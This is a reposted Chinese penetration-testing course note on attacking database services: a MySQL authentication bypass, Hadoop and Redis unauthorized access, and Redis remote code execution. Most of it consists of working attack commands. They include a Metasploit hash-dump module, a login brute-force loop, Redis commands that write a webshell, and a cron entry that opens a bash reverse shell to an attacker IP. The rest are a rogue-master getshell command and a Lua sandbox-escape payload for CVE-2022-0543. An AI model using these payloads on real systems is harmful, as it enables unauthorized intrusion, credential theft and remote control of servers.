小迪安全 第55天 服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE

一.MYSQL 身份认证漏洞(CVE-2012-2122) 

 受影响的产品:

MySQL 5.1.x before 5.1.63

5.5.x before 5.5.24,

5.6.x before 5.6.6,

MariaDB 5.1.x before 5.1.62,

   5.2.x before 5.2.12

  5.3.x before 5.3.6

5.5.x before 5.5.23

方法一:msf攻击模块

msfdb run  //进入msf

use auxiliary/scanner/mysql/mysql_authbypass_hashdump  //选择该模块

set rhosts 192.168.2.2  //设置目标

set threads 10  //设置线程

run

获得hash值,解密得到密码后登陆数据库

mysql -u root -P 3306 -h 192.168.2.2 -p

方法二:shell脚本

 for i in `seq 1 1000`; do mysql -u root –password=bad -h 192.168.2.2 – P3306 ; done

注:mysql的弱口令爆破一般借助phpmyadmin

小迪安全 第55天 服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE

二.Hadoop 未授权访问 内置配合命令执行 RCE

Hadoop经常用于大数据

常用端口:

小迪安全 第55天 服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE

漏洞复现-hadoop-命令执行 – 铺哩 – 博客园 (cnblogs.com)访问/cluster/apps页面:(该页面存在说明存在未授权访问漏洞),具体可以看链接漏洞复现-hadoop-命令执行 – 铺哩 – 博客园 (cnblogs.com)

三.Redis-未授权访问-Webshell&任务&密匙&RCE 等

默认端口:6379

一.未授权访问

配置文件:/etc/redis.conf

1.#bind 127.0.0.1 仅允许本地访问,如果有注释符,则外部可以链接Redis数据库

2.protected-mode no 安全模式,默认关闭

3.#requirepass foobared  可以使用空密码

满足以上三点则可以进行未授权访问

redis-cli -h ip地址               //链接数据库

info                               //如果有信息,代表可以进行

然后写 Webshell 

利用条件:需得到 Web 路径 且 Web 目录权限可读写

config set dir /var      #设置 WEB 写入目录在/var

config set dbfilename 1.php    #设置写入文件名

set test  “”    #设置写入文件代码

save #保存执行

注意:部分没目录权限读写权限

二.写定时任务反弹 shell

利用条件:

允许异地登录

安全模式protected-mode处于关闭状态

config set dir /var/spool/cron  //设置启动目录

set yy”\n\n\n* * * * *bash -i>& /dev/tcp/反弹ip地址/5555 0>&1\n\n\n”     //设置启动命令

config set dbfilename x            //保存的文件名

save         //保存

nc -lvvp 5555    //监听

注意

centos会忽略乱码去执行格式正确的任务计划而ubuntu并不会忽略这些乱码,所以导致命令执行失败

三.RCE自动化脚本

利用条件:4.x-5.0.5 redis版本

vulhub/redis-rogue-getshell:redis 4.x/5.x 主/从getshell模块 (github.com)

python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c “id”

四.沙箱绕过RCE(CVE-2022-0543)

vulhub/redis/CVE-2022-0543/README.md 在 master ·vulhub/vulhub (github.com)

payload:eval ‘local io_l = package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, “luaopen_io”); local io = io_l(); local f = io.popen(“id”, “r”); local res = f:read(“*a”); f:close(); return res’ 0

本文来自网络,不代表协通编程立场,如若转载,请注明出处:https://net2asp.com/5c7ae084ab.html